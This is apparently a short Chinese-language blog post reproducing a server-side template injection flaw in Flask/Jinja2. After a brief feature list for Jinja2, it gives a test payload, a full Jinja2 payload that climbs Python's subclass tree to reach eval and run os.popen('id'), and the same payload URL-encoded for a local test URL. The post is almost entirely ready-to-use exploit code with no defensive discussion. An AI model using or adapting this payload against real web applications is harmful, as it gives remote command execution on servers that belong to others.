Please enable Javascript to view the contents

Flask(Jinja2) 服务端模板注入漏洞 复现 and Poc

 ·  ☕ 1 分钟  ·  ✍️ IceKam · 👀... 阅读

介绍

Jinja2是一个现代的,设计师友好的Python模板语言,以Django的模板为蓝本。

使用可选的沙盒模板执行环境,它具有快速,广泛使用和安全性。

特征

沙盒执行

强大的自动HTML转义系统,用于XSS预防

模板继承

及时编译到最佳的python代码

可选的提前模板编译

易于调试。异常行号直接指向模板中的正确行。

可配置的语法

Poc

触发Test

http://127.0.0.1:8000/?name={{100*100}}

Eval Python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

复现

http://127.0.0.1:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

Flask(Jinja2) 服务端模板注入漏洞 复现 and Poc

总结

收藏备用。

分享
您的鼓励是我最大的动力
bitcoin QR Code

icekam
作者
IceKam
茶艺品鉴砖家,低端码字人口。